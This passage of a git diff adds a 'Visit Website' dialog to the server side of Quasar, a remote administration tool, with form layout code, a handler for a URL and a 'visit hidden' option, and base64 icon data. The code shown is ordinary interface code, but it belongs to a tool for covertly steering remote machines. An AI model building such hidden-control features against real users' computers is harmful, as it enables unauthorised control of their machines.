this.chkVisitHidden.UseVisualStyleBackColor = true; + // + // lblURL + // + this.lblURL.AutoSize = true; + this.lblURL.Location = new System.Drawing.Point(12, 9); + this.lblURL.Name = "lblURL"; + this.lblURL.Size = new System.Drawing.Size(30, 13); + this.lblURL.TabIndex = 0; + this.lblURL.Text = "URL:"; + // + // txtURL + // + this.txtURL.Location = new System.Drawing.Point(48, 6); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new System.Drawing.Size(336, 22); + this.txtURL.TabIndex = 1; + // + // btnVisitWebsite + // + this.btnVisitWebsite.Location = new System.Drawing.Point(246, 34); + this.btnVisitWebsite.Name = "btnVisitWebsite"; + this.btnVisitWebsite.Size = new System.Drawing.Size(138, 23); + this.btnVisitWebsite.TabIndex = 3; + this.btnVisitWebsite.Text = "Visit Website"; + this.btnVisitWebsite.UseVisualStyleBackColor = true; + this.btnVisitWebsite.Click += new System.EventHandler(this.btnVisitWebsite_Click); + // + // FrmVisitWebsite + // + this.AcceptButton = this.btnVisitWebsite; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(396, 72); + this.Controls.Add(this.chkVisitHidden); + this.Controls.Add(this.lblURL); + this.Controls.Add(this.txtURL); + this.Controls.Add(this.btnVisitWebsite); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmVisitWebsite"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Visit Website []"; + this.Load += new System.EventHandler(this.FrmVisitWebsite_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.CheckBox chkVisitHidden; + private System.Windows.Forms.Label lblURL; + private System.Windows.Forms.TextBox txtURL; + private System.Windows.Forms.Button btnVisitWebsite; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs new file mode 100755 index 0000000..3933350 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -0,0 +1,41 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmVisitWebsite : Form + { + public string Url { get; set; } + public bool Hidden { get; set; } + + private readonly int _selectedClients; + + public FrmVisitWebsite(int selected) + { + _selectedClients = selected; + InitializeComponent(); + } + + private void FrmVisitWebsite_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients); + } + + private void btnVisitWebsite_Click(object sender, EventArgs e) + { + Url = txtURL.Text; + Hidden = chkVisitHidden.Checked; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + 